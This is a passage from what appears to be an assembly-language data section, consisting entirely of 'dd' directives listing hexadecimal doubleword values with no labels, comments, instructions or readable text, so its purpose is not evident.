0FA460105h, 25E81B06h dd 1477E054h, 9725F090h, 0BE0024A9h, 9884CCEh, 908768CAh dd 822B6E4Ah, 6A7BDDD8h, 85348920h, 9CF8461Ch, 8CEDBCh dd 0B742785Fh, 0EBDE2FCBh, 0F9C74809h, 430001FCh, 406A0B51h dd 0A24C0510h, 7550D184h, 74004688h, 48F75971h, 0D4C83743h dd 0B700FF59h, 55C6355Eh, 4B2C1B23h, 470828B5h, 80751DF4h dd 0A87A359Ah, 0D3019DBEh, 0B23EA1AFh, 0ABE085C7h, 33290F9Bh dd 2EA1F2BAh, 80A7F71Bh, 69212008h, 0B029B15Ah, 36C700B4h dd 66BFBD1Fh, 3B033E22h, 8FBE9C46h, 0A9F6B862h, 6A9B0A1h dd 2EBDE0B7h, 5E0E10AAh, 0E06373B3h, 75294606h, 43351808h dd 7CF99092h, 0ADFBCA0Fh, 25A247E0h, 67133C60h, 29D3125Ah dd 3AB08852h, 0C06EBB07h, 0C683A4B8h, 56FF866h, 9DBC249Ah dd 24754124h, 0C08C47F9h, 0CA2F8322h, 0DF7440C0h, 0B23E9972h dd 4CA97744h, 0B3C830BBh, 5CD01692h, 3ADC62EDh, 1900E994h dd 0B22B5085h, 0F809D9F7h, 0DA3DEE59h, 75D00DCh, 0A4D2ED03h dd 47E67DE6h, 0F0CD48h, 21DA9185h, 0EA4E61B2h, 64A0A0C7h dd 17C07ACh, 4F42C3F4h, 0B249FA65h, 9E0F00D0h, 1AF06EA1h dd 23EE0006h, 0DF3E3BA2h, 0E3001740h, 0D04CCCF3h, 64024Eh dd 77941C71h, 0F9C3A5ECh, 80DED301h, 4A51DAE6h, 1D900DFh dd 623755DCh, 18044FE1h, 40097745h, 0BE6A2C80h, 0E91F1E7Dh dd 0EC2C01DDh, 69233C0Ah, 0CFAA1744h, 7BA99891h, 95FC407Eh dd 49E82EC3h, 21A44B30h, 0A7CD53h, 0D396825Ch, 471CD1C7h dd 0A46BE203h, 0D87A4B83h, 6672Dh, 84E37326h, 13A7BEC7h dd 1F5A3C00h, 2CAA8B6Ah, 4E52011Dh, 4DFE3170h, 5BD1C4FDh dd 3532E900h, 7B68AB66h, 0F2FB0043h, 18D01E86h, 0FA002F9Dh dd 0AD0BDD58h, 0F1119EB0h, 0C56F1884h, 6376C126h, 1205B9Fh dd 0A21C3D2Bh, 5E883B0h, 1D58E8F2h, 3DC17B8h, 2650D93Ch dd 0F09F5DB1h, 0C5009048h, 8F84BB42h, 7E17136Fh, 0F1F82119h dd 45BF81CCh, 0E814098Bh, 0ECEED15Ah, 0F300A2FCh, 316D4A70h dd 0C40A5Eh, 0AD199D13h, 0DD02F771h, 0AC374002h, 8C9C17A9h dd 0AB320834h, 1E23F980h, 0F8A0D01Ah, 0C27DA3h, 6FF1B93Dh dd 0B27A24FBh, 9858F214h, 4AF7CE8h, 0BDDE5A86h, 0EC440710h dd 3DCC21h, 0B9E82795h, 0B4601F03h, 0C95AF253h, 2888991Dh dd 42BC2FF0h, 21B28611h, 2EA23FD3h, 42289D22h, 8DF212Bh dd 61942C91h, 0BB661128h, 65086B21h, 14D0BA7Ah, 171C44FFh dd 78732284h, 0FE206945h, 34933AA0h, 1CEB5807h, 2AA5E0C9h dd 0B6006D18h, 93A7F12Bh, 1D10B911h, 80B1DA53h, 447D04Eh dd 71000365h, 45DE662Dh, 72BD879h, 0A172E744h, 65BE50A9h dd 0BB00E6F2h, 0F0A56629h, 7F5397h, 647E62B1h, 0F8FEE3CFh dd 7B6F4C01h, 0FDEF3067h, 0D8E30431h, 0A592FAh, 0C3E0D264h dd 0F6F2510Ch, 0A3000D74h, 53A61F15h, 0FE4C8Ch, 0DE9B64AAh dd 689FB97Fh, 5F5A2D00h, 29AD604Dh, 0F1C20003h, 0F80DCC32h dd 0E600022Ah, 0C3BFBAFAh, 779876A1h, 8303001Ch, 0B6C87E8Ah dd 19F6E639h, 27071B90h, 9DDF703Bh, 996FC7D0h, 0AE053AB4h dd 88CE1F80h, 0A3981268h, 40227902h, 80AB1BC4h, 17A0CCA4h dd 9109277Ah, 0E9011ED6h, 1759097h, 1E6F3E0h, 98682EEAh dd 0F4A1C0CFh, 515FD607h, 0B031F0h, 5A195FF6h, 0C6362B16h dd 0F4E15F90h, 0E0F96B7h, 0E0E35447h, 2443081Eh, 7590E4Ch dd 0E6A076A3h, 16C5EAA9h, 0D3CBD10Eh, 0CC0980B0h, 1D8D203Fh dd 807E67D7h, 0AAB8D80Fh, 41020159h, 0A6224863h, 1D2CC062h dd 5A4200E2h, 0B67CA48Bh, 54008D92h, 0EBB29B36h, 0AE86F3h dd 0DD17DBDh, 0A4BFA219h, 0A7DC920Fh, 0FC6F04E8h, 6574A490h dd 536C005Dh, 1A33D583h, 62005667h, 0C711D934h, 86E6DBh dd 0CC16D065h, 0B1AE3B1Ch, 0B21E300h, 46E1B4C8h, 561B02A1h dd 7EECFE8h, 632E07Dh, 1DFA907Eh, 403BF084h, 2B673ADCh dd 80EB2711h, 40626990h, 0EEEE3D34h, 45E31D70h, 0BEE82633h dd 3BF95BAEh, 140070C9h, 8BE807C4h, 7890C91Fh, 114BD100h dd 8D2C94DBh, 0B6480323h, 8224363Bh, 39887BB3h, 0C200873Dh dd 0BF8DB528h, 32A2DA3h, 7E81C6AFh, 880F1D38h, 817540D0h dd 4970E3Ch, 78CC1EBh, 7FCED8h, 78720344h, 8FF81FABh, 4709B900h dd 0DF94C5BEh, 84C6129Ah, 0E69B00E1h, 74386671h, 0E3A42207h dd 4BE096C1h, 55743FEh, 0DE7D5882h, 0F2BC00A0h, 0FDA53EAAh dd 0B5EDB200h, 0A730B40Eh, 0EEB306EBh, 20BCF16Ch, 22009278h dd 8CB383Ah, 714E76h, 0CE257515h, 0F346E73h, 0F90004F6h dd 4FED3217h, 0BC43DDh, 9D011B79h, 1C3A8F88h, 785F9900h dd 40AEA12Ch, 253300B3h, 68E9A274h, 0EC09A31Ah, 80D485A7h dd 0F15C4958h, 0EE2B7E4Dh, 89130095h, 8F0253A5h, 2028B2BDh dd 55009C7Bh, 3ACC6B7Dh, 0B3FDF9h, 0C1BB8313h, 4EC04107h dd 0B2C1002h, 6802489Eh, 16DDD8h, 0DCA0B89Ch, 8A90A6B6h dd 0EDAE39h, 366D8EC1h, 0F4CE75h, 0CFA9BB10h, 0CB0DF873h dd 50F0B6ECh dd 0D294CD00h, 6C983277h, 2F8703F9h, 1E040D59h, 6AC34EE0h dd 0A7524D60h, 128EB653h, 6854303h, 0E8760A9Ch, 0FC5AC900h dd 9D0C427Bh, 6F0F00D5h, 0BC3F7137h, 9F28A14h, 78EE94Ch dd 351DFD70h, 0EF795700h, 0EF907C8h, 90427D9Fh, 0D6366C29h dd 0FAE8A150h, 3D45B201h, 9E256AF6h, 384CEF0h, 642D83E0h dd 92C87CF1h, 9A008AA3h, 5267B1EBh, 7061DF4h, 2D70DEA8h dd 13D5C065h, 0FB083F76h, 0CBCD74h, 16C14BF5h, 620E0788h dd 0E0A71B28h, 0E43778A1h, 563F0164h, 0DAD1ADCCh, 0D44830F8h dd 888FA801h, 0E059A5D6h, 13E2DBECh, 71D2352h, 0F082A2C8h dd 0D465E919h, 700FDE7Eh, 60A72A6Ch, 8F90F732h, 22850F0Ah dd 838065DBh, 92208CE1h, 0C98B1800h, 0BB93427h, 989862h dd 56BFA868h, 0D6E37E11h, 649A6100h, 0C72C5DFFh, 0C8890305h dd 676DF3A6h, 7DBAB4F8h, 0D09034F6h, 21394B00h, 0CFF6DCFFh dd 0F7DD00AAh, 7892BD98h, 0E23DF4BAh, 0B8E09D6Eh, 1EB4A354h dd 874080EEh, 0CFC290C1h, 9C9A00E9h, 0C3ADDFA1h, 8260208Eh dd 0FB67620h, 3B0E6h, 6C1189D0h, 0A104B502h, 0E35AA4A8h dd 3988C70Ah, 0E104B4D7h, 508CA557h, 28DA00A7h, 8FF5B75Dh dd 3B009E21h, 0A654B9FDh, 7BEB833h, 840D5F1Dh, 9C8F90D5h dd 98778044h, 0C6009498h, 40C58AC0h, 3BF2A005h, 0E100B8B9h dd 0FCF42B4Ch, 0E00E41Bh, 5B3D7ACEh, 3665D94h, 8E952124h dd 64D0C747h, 0FF3F4E82h, 0E07D00BFh, 0EE5A3F5Eh, 0E6EA4C28h dd 0FDCA0075h, 37A0EB73h, 2A0263DCh, 74926A2Ch, 7C50C0FCh dd 0F109854h, 0DF243C2Fh, 20A06E09h, 7FCA4951h, 1EF17641h dd 80449AA4h, 0FFC33CA0h, 0C404D6B3h, 0C1C9B80Ch, 46A2BE87h dd 0D1CE0EBh, 185B4CFDh, 2D733E01h, 0FCB28837h, 0F30B0E5Eh dd 263C15h, 0E462C9DFh, 20314C7Ch, 638D303h, 1A93A4E6h dd 0DAD2098h, 6ABB8900h, 0DA713385h, 0E0D63A43h, 76474400h dd 0A11AFBFCh, 2C6CD100h, 77A21798h, 3C907634h, 54871BAFh dd 0B06D5D15h, 19C871FBh, 0A91EA671h, 6949A4F8h, 9405014Ch dd 6AEC16BDh, 0C7BB0918h, 48803E80h, 9274CF56h, 1E00A071h dd 62B08EC2h, 69D290h, 0B8C9A51Bh, 6EF59E60h, 48BF5100h dd 0D781B485h, 666400A8h, 69B7847Ch, 0F54896D5h, 0EA43005Fh dd 982CC74h, 0DEBF00D6h, 0B4EEA288h, 0EF00B9A9h, 26ECF615h dd 3A8F12B5h, 6E004A84h, 61DA76E2h, 9EE24E47h, 0A4DE8600h dd 83D415C0h, 0F2090091h, 514941ABh, 1E0FF1E9h, 602DBED7h dd 0A235DF7Bh, 68A9036Eh, 0CA89E5A5h, 0F13388A0h, 0C78A7900h dd 0DFAA30F0h, 0EFA0995Ch, 0A62D10C0h, 0B70037FEh, 723A9115h dd 166DCFC5h, 16F03C31h, 665500C8h, 6EAFC0C9h, 700B378h dd 0ACC2A79Dh, 771B26Bh, 0D1A59ADEh, 8BC49021h, 7605DACBh dd 0C3C2E033h, 8ED9BA00h, 47E631h, 2482B6E3h, 68195260h dd 2B0C9400h, 8679B858h, 39363FE0h, 30137A03h, 27F9D3F8h dd 4350716Dh, 25C8A6D6h, 230E92C1h, 0A0E27810h, 6D7085C2h dd 0CB840315h, 0C75CC5AEh, 905AEFB0h, 980014E2h, 936B3BFh dd 3C26A42Ah, 0BE02EACAh, 7AF81ABBh, 0C88EC0E0h, 9D22873Eh dd 0E2967D71h, 0C314000h, 2E986915h, 969CF4D4h, 2798309Bh dd 0A0BA5952h, 3998A51Dh, 3A4BDE41h, 0ACE3B8BCh, 657BCC0h dd 0CC1A00DBh, 0B272B94Ah, 33F42B61h, 3F00BB78h, 0DA2C118Bh dd 954749h, 5F64E676h, 0B22E9B01h, 0ECD583Dh, 0C3ADF90h dd 2E13588Ch, 1907B17h, 0F0341470h, 1588702Eh, 20F37926h dd 0DAABE307h, 0E28097D4h, 19DA04Dh, 156E8E1Eh, 20DB2493h dd 0B1008C74h, 4CEA1A98h, 4FB88B27h, 5D5DE022h, 51F6367Ah dd 72380360h, 3DCACF28h, 683B2FEDh, 899570E0h, 0D008123h dd 0A3D8223Eh, 94173C50h, 0C8EB0068h, 198CE49Eh, 7AB0440Bh dd 12208048h, 0EC5574h, 0F82CE7Fh, 7570E16Ch, 655A7900h dd 0A7A004DEh, 5DDF03A9h, 13EF1561h, 341C4FB1h, 0DD002034h dd 0FD40CAC2h, 7FA529h, 19114307h, 0A8F462F9h, 0A6226A02h dd 41309A12h, 2BF0CEF8h, 28FA07E8h, 40C8F5E5h, 11FCEE29h dd 0F00CD200h, 0FFF7E770h, 36791E86h, 0CE1B00F2h, 0EACC1D12h dd 0DE7C3300h, 0ED1EE031h, 64201075h, 51CA00E8h, 1553F8D2h dd 0F4300BFh, 1DB56C4Fh, 0EE00F27Bh, 993E61B0h, 0BA4DAFA5h dd 0BC3C01A8h, 377A63C1h, 56EBCC6Dh, 91527304h, 88182DCh dd 22E4C7F5h, 68B57ABBh, 91FCCC3Ah, 9D0A1E8Dh, 2DED340h dd 7D9273BFh, 30E20204h, 136D1675h, 1935D082h, 9E4CCDE0h dd 0B9EC7050h, 0D3FB4A00h, 6EA4FFCFh, 1FBC7940h, 40316741h dd 20703D60h, 0F2003E3Ch, 0F0CE27CFh, 5BA4964h, 0BD11AF2Bh dd 0E0848766h, 62E23506h, 9E348B3Bh, 18C0F82Eh, 648AA9A0h dd 0BAAA01ACh, 0F0C47763h, 55B8E406h, 475A431Eh, 405944CEh dd 9699627h, 0DA7C004Fh, 3C12E001h, 71009CB9h, 0D9CD1ED4h dd 9F6ECBh, 0C310EE33h, 9E69E972h, 4209B69h, 0F4818103h dd 68FCAE56h, 749F4CE4h, 0DBACE101h, 0FFF0E276h, 6009A6D1h dd 0DD006D60h, 0D7C25839h, 0E4229362h, 0F247F4E7h, 0F6B800D0h dd 0BEAEF936h, 0D51407B0h, 0C0B8897Ch, 4B33E56Ch, 1FA675C9h dd 475D8F81h, 10D21C6Fh, 10E7BC25h, 94A96B04h, 2CC4A2D6h dd 6F28FCC1h, 320D7CCh, 5E7CAEA8h, 0A1A8DC33h, 2C0B064Dh dd 74A3F70h, 38E30DD0h, 4B8A00F9h, 8AFE7916h, 0B2009CFDh dd 59A85C0Fh, 118B4h, 0BBE404CAh, 3638F769h, 3565A600h dd 8D2C5C3Fh, 974300E7h, 0AD68FAE2h, 44005F42h, 49479B10h dd 7132D6h, 0C6637374h, 7E37DA8Ch, 0BA83AC16h, 51FE3B00h dd 7D553E1Dh, 3460014h, 0A0F16BE1h, 99007571h, 0BEBAACFAh dd 757AE305h, 334E8E7h, 0A3563C23h, 0A6E12A35h, 0A2BC2039h dd 0B60068FEh, 0A86ABCA4h, 33654BAh, 275586AAh, 24E0A1C1h dd 4209B9C0h, 0D7B383B5h, 817C5980h, 0D8006AB8h, 796553AFh dd 12D95987h, 0A7C7A3h, 0EEB536BCh, 57125FF8h, 784E0B75h dd 0D9EC6033h, 9AC7CB31h, 0A08F00CCh, 0C401A2BCh, 0FA009D92h dd 9D1DA30h, 24E6483h, 0EC8EC351h, 6C525665h, 0F8B68700h dd 0BF224875h, 7A51167Dh, 4CFA0055h, 6B505785h, 0A0E4F907h dd 0A6A01FF6h, 7EC38B5h, 2FB1EBC5h, 0FCA02E22h, 43321926h dd 0E214CD03h, 0E172A669h, 0C7ECE868h, 90B0C5h, 33C164D7h dd 7940B888h, 0DC92D62Ch, 530F1685h, 730B1980h, 0A3C900F7h dd 0FAE9A82Ch, 0C403281Bh, 0E425F4DEh, 0CC03D083h, 0B7D31C8Ch dd 217A40CBh, 0D66C0B8Fh, 5AA89400h, 7D0A6357h, 0D2E609E1h dd 0F78075D7h, 7B8064FDh, 278D1600h, 47D65B56h, 9B6F01A1h dd 0B5D5C4Ch, 0C892F09Eh, 9F7B9D05h, 8481A43Bh, 9435347Ah dd 1D1F14F4h, 0DE58E83Ah, 0A09B25EDh, 0D5082A00h, 270E4FAFh dd 3E1F00E0h, 0D42A420h, 1D0DEE3Fh, 0F0BDBF73h, 22ED0C60h dd 0C94D483Bh, 26690034h, 6BC1DBB0h, 2C8D012Fh, 0ACA5AF2Ah dd 0FCC1E629h, 0C07BF5CEh, 520083E7h, 0C80AEF7Eh, 3DB2ABCCh dd 801669B5h, 0D088874Bh, 0F01456D2h, 953EB81Fh, 6D63DA40h dd 32B0493h, 0B7A0C350h, 0B5D0F170h, 60085D7h, 0DCCA3655h dd 0D53D23h, 6CE24992h, 0D39E9C30h, 0E9880A00h, 58659A33h dd 66F90732h, 0CF8DC2ABh, 67757760h, 9AF22036h, 0EEF3D00h dd 8EAD732h, 13C90089h, 43656FE6h, 0C0090473h, 0E07C346Eh dd 191D688h, 6F810CC4h dd 0C4C70EADh, 8300E2DAh, 3EF26A60h, 0F8A89Ch, 82EC619Eh dd 34E70B5Ch, 0EF238400h, 1A7E409Dh, 21F20133h, 0C2E9BE88h dd 59B44030h, 24B9DBA8h, 35C91900h, 0F61804Bh, 0B2D5D9AFh dd 94FC4500h, 66280EC1h, 5316B9B7h, 0D833F306h, 3859F814h dd 54070013h, 91D1CF05h, 0D000492Ah, 0FE8660B1h, 2CA95BE1h dd 141D759h, 9EC56881h, 0DC1FC440h, 804A1338h, 231EB131h dd 0F81666h, 0E7518436h, 2F343EB3h, 46A5BD00h, 32CCACBEh dd 0D2D300C0h, 9972FC57h, 903EBDAh, 21FEA1Bh, 1762E8BCh dd 0CD5E0FC0h, 0F6425FA8h, 0BA41E7FCh, 0CF2701Fh, 0DCBFE40Fh dd 0FF24A3ACh, 898688CAh, 28D90275h, 0BCBBA088h, 4DF3F8E8h dd 0E82E5091h, 2A77ED00h, 1FC15B40h, 6436A4DEh, 0DD9B002Dh dd 0F128B6D0h, 0BE025890h, 89963A0Dh, 186440D1h, 0AB9C0B82h dd 0F8808AEBh, 67906858h, 0F8CFD8FBh, 0BDA770C0h, 2DDF7D04h dd 388F6437h, 0B4C76080h, 9701C671h, 0C37CE3ACh, 0CD7B037h dd 0B4CB9221h, 0E90C22B1h, 821089Dh, 246A4944h, 9F892000h dd 0EF5A900Ah, 0F253CC00h, 7F9AEA7Ah, 92F1188Dh, 0B13B607Dh dd 84DB2CA0h, 5D995C60h, 60FF4704h, 7FB629AEh, 7730BF40h dd 25B960F3h, 223700A0h, 0BB089FA1h, 0FB2A9E03h, 5A002839h dd 139926FFh, 833B94h, 2D018C17h, 80FE8543h, 8C011A5Eh dd 0C7B97EE0h, 4CDE07DCh, 0CE00813Eh, 82415EFDh, 9D005AE7h dd 7EDCB79h, 551A14Eh, 5C3E45B1h, 0E20F5E4h, 0ABC0AE04h dd 4DB4D434h, 0FF9FA312h, 0FD5884Fh, 423CA059h, 0FE7CD7A1h dd 0CC530028h, 0D70203Dh, 0F203764Ch, 9418BEBDh, 0A0A5E2F0h dd 0BAB34720h, 0CC400008h, 0BC0E434Ch, 0C4FA907Ch, 3F0899h dd 82C5DF10h, 3B0C427Dh, 6A805980h, 309D312Eh, 0E26090E8h dd 70878251h, 1D12004Fh, 13E6EBBh, 7E00BE72h, 0D7EC55E0h dd 9B2E5Dh, 0A53FF549h, 12A40C73h, 0A9D67A00h, 0AA11DBF7h dd 0F4950AB6h, 8080FE01h, 2A80374Eh, 5F303304h, 0D6E97920h dd 8AA60C6h, 8E12B8DBh, 0AC0A8200h, 9EF249EEh, 669100E0h dd 0C0ED9806h, 0FD00955Ah, 0B5EA34A6h, 187FA34Eh, 1849BED5h dd 0F60C683Ch, 105C8F60h, 203438A2h, 545A2863h, 7B0FFEC8h dd 41CB370h, 0ED0C3DE3h, 0D218A011h, 68016F6h, 40AED75Eh dd 0B025A33Ch, 9B3711CFh, 0AB721E65h, 0E46A04h, 9C0DE49Dh dd 0BAAE1498h, 1A4C227Bh, 0BD950060h, 9660F363h, 254300B9h dd 0ED7C065Fh, 0A0DE654Ch, 85782E82h, 5BF08523h, 134CA0h dd 0A0CA286Dh, 0F67461CCh, 120099FCh, 96427F94h, 4834BB80h dd 3C06048Ah, 701DB670h, 0B1B8DD01h, 76977D7Eh, 0E9D86080h dd 0BE835609h, 1AFA5C17h, 11E67007h, 0FB05430h, 37C4009Ah dd 50F78466h, 0D0006B35h, 3688702h, 1F617B4Bh, 315BDDh dd 83E016ACh, 80931C6Dh, 2812258h, 0F8570A15h, 0C8EB5CCh dd 3C203E09h, 0E0C111Eh, 0F839A560h, 39907D49h, 0B4993E7Fh dd 80A00927h, 7D21D821h, 58E486DDh, 0A90F5F40h, 0C6C3CFE8h dd 610BBDA5h, 10FC7DAAh, 1598990h, 0C636392Bh, 4031755Bh dd 344913BCh, 3C010F4Eh, 0BF534D7Dh, 0B81BA041h, 20C449A8h dd 0D1324F9Dh, 30F3B137h, 9B087D98h, 6497A67Fh, 303341AEh dd 53D0197Dh, 9F4800A8h, 1179A540h, 3F0C647Ah, 603B8120h dd 431B1460h, 1C50F0A2h, 0CB009FCh, 38036626h, 0E980AF98h dd 7C177AD5h, 104F5770h, 0C30A220Bh, 258440A3h, 0BD4929E2h dd 134A901Ch, 0C4073A9h, 1C86ECABh, 99A30033h, 899E088Fh dd 0D4B86BD4h, 79A6EA12h, 0AA8B2804h, 41AFBC88h, 9B46DC1Fh dd 0F36440h, 6DF712A7h, 307C39CFh, 71055505h, 1C0852A3h dd 469CA04Ah, 7D73170Eh, 9CAE400Ah, 3240A3C4h, 37037D0Bh dd 0A8BB7C3Eh, 837A8C96h, 64144Dh, 0F121E2E5h, 0E472499Fh dd 0F4B31E13h, 0F3DCFF8h, 0FCAD4641h, 0A459A87Dh, 0F3E56701h dd 84BBA37Ah, 1040B430h, 631F573h, 7C0D7293h, 7FA00630h dd 0C8A1ECEDh, 703FEF04h, 0B88017F0h, 249223D9h, 8030E090h dd 38065933h, 553F687Ch, 42F01DA4h, 845C0A12h, 77F1CEh dd 639AD746h, 4A73C40h, 13D084A8h, 408EF525h, 73AA2370h dd 38C03F81h, 72627148h, 0A04A63F1h, 0C091A73Ch, 90389712h dd 4A1AC20h, 226000DEh, 0D7DD7B0Ah, 89268C81h, 8F0ED082h dd 0A32CE0B4h, 7AFAAE4h, 0F6F497E0h, 0B0DD2312h, 7DB4F11Eh dd 0D6040A5Fh, 0D4912659h, 0A4F0A85Bh, 46283A2Fh, 3379788Eh dd 0EE697362h, 2201E061h, 5FCD00CCh, 36A3986h, 31D50072h dd 2FA350AFh, 0E0342D7h, 1702122Ch, 9B80243Eh, 7AE040F0h dd 0A75048B3h, 820ABAF0h, 0B4763659h, 0F580B691h, 87CEC77h dd 9224243h, 770D2001h, 3BF65241h, 190D4F0h, 0AD7D0AB3h dd 0F8FDAF3Dh, 5977E1B9h, 9D9CE1C0h, 0A77365h, 0BAFDD0CDh dd 4DFE04F5h, 93E121C3h, 0B502D865h, 40A26499h, 60AF62E3h dd 0D09DA7E9h, 4E222038h, 65A5E301h, 971F2FB3h, 4B9A9450h dd 96F4003Eh, 11CFEE05h, 0FB0307C8h, 34A7677Ah, 474D9260h dd 61946498h, 0AFCE896Dh, 385E8398h, 1FA3CFC3h, 0C22901FFh dd 68258A75h, 213031DCh, 1460C238h, 724BBEE4h, 29F180Fh dd 68B5C423h, 16E05984h, 4C21FBD2h, 510938E0h, 0C8F921C0h dd 17A25ED2h, 8ED8689h, 0D99EFE54h, 5402C0C1h, 68266359h dd 4165C73Ah, 0EE830088h, 15C4D55Bh, 4D86D800h, 0A437EC17h dd 0A17D0061h, 896651DBh, 26F2A599h, 8097FE00h, 385C1216h dd 0F57E07C4h, 11131E33h, 24E3071Fh, 2340CDF0h, 96A30F46h dd 0AA85CB4Ch, 0E4A4C80Ah, 546A7C3Ah, 48CC8F0h, 0A74A6590h dd 204862F5h, 965F6FCh, 0A8CE5000h, 346CAF1Fh, 451217DBh dd 0C4E802E5h, 0CD27F0FDh, 14E40708h, 9F45F26Ah, 0C401946Ah dd 84D1502h, 18FD867Fh, 5CD20439h, 329E1920h, 0E1E22064h dd 81A0E5D2h, 3D06BDF6h, 0AE334D72h, 0C40DA068h, 9AF8A3E2h dd 0E86465A7h, 606424A0h, 8EE55250h, 60048802h, 0E0AC11BEh dd 6E2491h, 0E7664390h, 0C9082087h, 14F094F7h, 0E82CD4C8h dd 0F5718C52h, 800ECE26h, 0C072DC1Dh, 46EC4E0Bh, 659A02E2h dd 31C5A774h, 0EC5A1736h, 9AC2E000h, 0EEF33733h, 2ADB029Bh dd 36D12782h, 0C5A23341h, 0CCA3C234h, 84886F59h, 0C894BB32h dd 8CE9D45h, 21C0A088h, 7EA93F4Fh, 0B0F35457h, 3EF00097h dd 0BFDF0911h, 1C029164h, 9F140CBEh, 0B9F1C04Ch, 0DC7501FDh dd 59EC12B8h, 0BDD18030h, 0C18F389h, 99A0A83Fh, 0D77A1612h dd 5F980082h, 23EDA52Eh, 3F83C094h, 0E3494A66h, 0E4994CF1h dd 9E35BB00h, 95A844EDh, 32D99899h, 0AB007418h, 0EAB058F3h dd 0F0096338h, 78682634h, 600F446Ch, 2EAF7D4Ch, 70F8067Fh dd 7D7C24E7h, 0D882902h, 817A89FAh, 9B2E5E48h, 0F08E8CD0h dd 12C9322h, 21F2D2EFh, 805833C9h, 0CED2D7F8h, 7D540B8Ah dd 0F802A40Fh, 380CADA8h, 0F8E05970h, 4A82B2Eh, 144E1DF9h dd 99222D0h, 25510B66h, 0E03AD46Eh, 720A4490h, 81E7004Fh dd 8BA73069h, 0E50058ACh, 0D4275C02h, 0C4CB806Ah, 2554880h dd 0AFFC0EF1h, 762F6180h, 0E6E88BCAh, 0C79030F3h, 6C2A6A59h dd 352F9701h, 63026245h, 0ECDC21E8h, 9C460693h, 908B84B3h dd 0D939AF00h, 0C21A442Dh, 630F005Dh, 4B5BF92h, 0D2269383h dd 0C43A08ADh, 0D16E0051h, 88CF1FB3h, 6A0E3D65h, 864CB572h dd 20E9ADh, 0D81FBBC7h dd 14F6AF82h, 1B217500h, 5F620199h, 0E9F10E6Eh, 0D880BAD7h dd 0EA147983h, 0C111777Ch, 31075D81h, 50B03226h, 0D2F567D6h dd 213A09CCh, 323E0091h, 0BFD80E81h, 97F25530h, 7B63080Eh dd 9DDE6007h, 1F6BFA8Ch, 7ABBF3F0h, 0E5138E0h, 74732A91h dd 5E54361Eh, 8C55C68Eh, 4D42166h, 0C57F2AD9h, 58ED8649h dd 1C6BEC20h, 54F322E9h, 9B8128B9h, 0A2917A2Ah, 0D202848h dd 0C32E00F3h, 5905B22Ah, 0AD001ADDh, 0E291DFECh, 0C06384D9h dd 0D74980D1h, 0FC005B57h, 3CE13110h, 5BF532Ah, 43D062CFh dd 5D941C17h, 3BD5CE95h, 6FE82BE0h, 50E90476h, 231FB7CCh dd 4C858810h, 0B32118CCh, 0B41FBF00h, 91F03ABBh, 0D9D3600Fh dd 86115D06h, 1032F837h, 0CD753500h, 818B0061h, 16D278E4h dd 48000565h, 0D66D396Fh, 0C519DDh, 0E2CBF66Bh, 9A9D0A2Ch dd 6706DF00h, 645457A1h, 410E145Ch, 9180C462h, 444FE451h dd 0A2C12064h, 0F41FB461h, 0A48CAD88h, 0BCB2002Ch, 0D9CD4F1Fh dd 0EA7337ACh, 197FC04h, 536B6Fh, 2154079Ch, 68398A14h dd 0EA189463h, 40F708E4h, 2BB7016Ah, 44D40894h, 6EE440A4h dd 7DFA609Ch, 72004891h, 86F3CD84h, 1609285Ch, 0E8ECE814h dd 1F380081h, 0BC3D625h, 8D07021Ah, 70A9D62h, 43D11420h dd 8051016Dh, 0F4B15FD2h, 0E3D18088h, 9E7F7A81h, 4451C3EBh dd 0EDA806h, 2928FE94h, 0C2008D2Dh, 0BF92362h, 600FF67Bh dd 72139802h, 90015E8Fh, 95D65356h, 0C883CAEDh, 1512788Ah dd 9664C00Ah, 2780AC05h, 0C2F9596Dh, 7D0830BFh, 363C61C9h dd 0BE2E9977h, 0BC000164h, 93280EFBh, 62A0C10Ch, 937B08B6h dd 211CBD31h, 0C7CC69C0h, 0AF5A48h, 654910A5h, 67D78EFAh dd 2071DC00h, 76A0B16Dh, 2681C006h, 1785CBB7h, 38A10812h dd 0C00A1EFAh, 0CAAA1B0Dh, 74040C91h, 0A1E83CFEh, 28B10898h dd 0A79C211Fh, 0B9933F68h, 5789001Fh, 38976FCCh, 5683449h dd 0EAAB3B51h, 7949B047h, 65646D71h, 0A66FD042h, 7921F6D4h dd 4DAB01AAh, 3278E686h, 0A5ACD09Eh, 2D7B0E00h, 8B0BD89Ch dd 4D0C9218h, 238354D4h, 0CEAABD32h, 90102531h, 0EE00323Bh dd 0AB1CF9B9h, 15F0902h, 0E354D246h, 0EDF62ECBh, 0F88980E6h dd 0C2013B9Dh, 1EDB1353h, 71982167h, 0C47BD5C9h, 0B6004090h dd 0F3E080A0h, 58977ED6h, 78423607h, 6F88673Bh, 0F0C47564h dd 0AB6DA840h, 0B6002E31h, 5B680278h, 29098281h, 0C09764h dd 3E7F239Ch, 0E226938Ah, 215EA4DCh, 0EF80F30Dh, 8138222Ch dd 7E8400E1h, 78F04DA4h, 54907B2Eh, 51150930h, 0F598B65h dd 2901B813h, 280A2300h, 63409561h, 99AA606Eh, 6165BF1h dd 0A77F506h, 901809B2h, 50BA5230h, 652A9A01h, 0C556E91h dd 2B21C07Ah, 91F92AC2h, 382C8713h, 30B8F062h, 73582A6Ch dd 24542B39h, 2AD4D580h, 318ACB1h, 8AF71536h, 889C64D8h dd 1A8CD718h, 46B232CCh, 103C18B1h, 73224ABh, 0A29F4B49h dd 1D1F262h, 0C8FDB460h, 24C18CF8h, 727FE6ADh, 0A69F848h dd 0F42B171Fh, 2E465C38h, 50CC0919h, 0D1FE10EDh, 31E1C110h dd 41698094h, 0D9066790h, 765430ADh, 0C7C81954h, 2ED5ED00h dd 0BA9C0E4Eh, 14C403BFh, 57631E31h, 0F40A6929h, 9CF90F00h dd 2E9A54BBh, 3CB67179h, 0A8F729h, 0F6905DD2h, 4D3A6457h dd 0BA2600E3h, 4C471C8Ch, 8AC8121Ah, 0E4C003Ch, 0F2B50BB7h dd 0C3F87964h, 0B6322060h, 0B4A726EAh, 32389F00h, 4C0AC23h dd 34065CD8h, 97930109h, 8253E68h, 0FBE77941h, 126E80F0h dd 4438E183h, 8803EA4Ch, 82246094h, 243F687Ah, 198348CAh dd 1F3F0CF4h, 42D36848h, 3ADDFEF3h, 0B6465846h, 712A6E02h dd 61314E91h, 2AD6D710h, 0ED11771Eh, 6100EF92h, 0B59CF76Fh dd 4B1A0409h, 907B65C4h, 0C26E8814h, 211D88ACh, 3E51B732h dd 92802688h, 0AF083239h, 33C01EBCh, 0C2688A60h, 0F99E09B5h dd 55840C23h, 62C63116h, 40B36E01h, 41E44483h, 0DE670527h dd 44FBE57Ch, 33A10A4h, 3F694587h, 